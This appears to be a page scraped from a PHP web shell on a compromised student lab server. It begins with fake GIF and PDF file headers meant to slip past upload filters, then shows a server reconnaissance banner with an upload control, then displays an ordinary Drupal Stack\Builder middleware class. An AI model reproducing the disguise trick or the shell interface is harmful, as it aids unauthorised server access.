GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/vendor/stack/builder/src/Stack/ |
Upload File : |
<?php namespace Stack; use Symfony\Component\HttpKernel\HttpKernelInterface; class Builder { private $specs; public function __construct() { $this->specs = new \SplStack(); } public function unshift(/*$kernelClass, $args...*/) { if (func_num_args() === 0) { throw new \InvalidArgumentException("Missing argument(s) when calling unshift"); } $spec = func_get_args(); $this->specs->unshift($spec); return $this; } public function push(/*$kernelClass, $args...*/) { if (func_num_args() === 0) { throw new \InvalidArgumentException("Missing argument(s) when calling push"); } $spec = func_get_args(); $this->specs->push($spec); return $this; } public function resolve(HttpKernelInterface $app) { $middlewares = array($app); foreach ($this->specs as $spec) { $args = $spec; $firstArg = array_shift($args); if (is_callable($firstArg)) { $app = $firstArg($app); } else { $kernelClass = $firstArg; array_unshift($args, $app); $reflection = new \ReflectionClass($kernelClass); $app = $reflection->newInstanceArgs($args); } array_unshift($middlewares, $app); } return new StackedHttpKernel($app, $middlewares); } }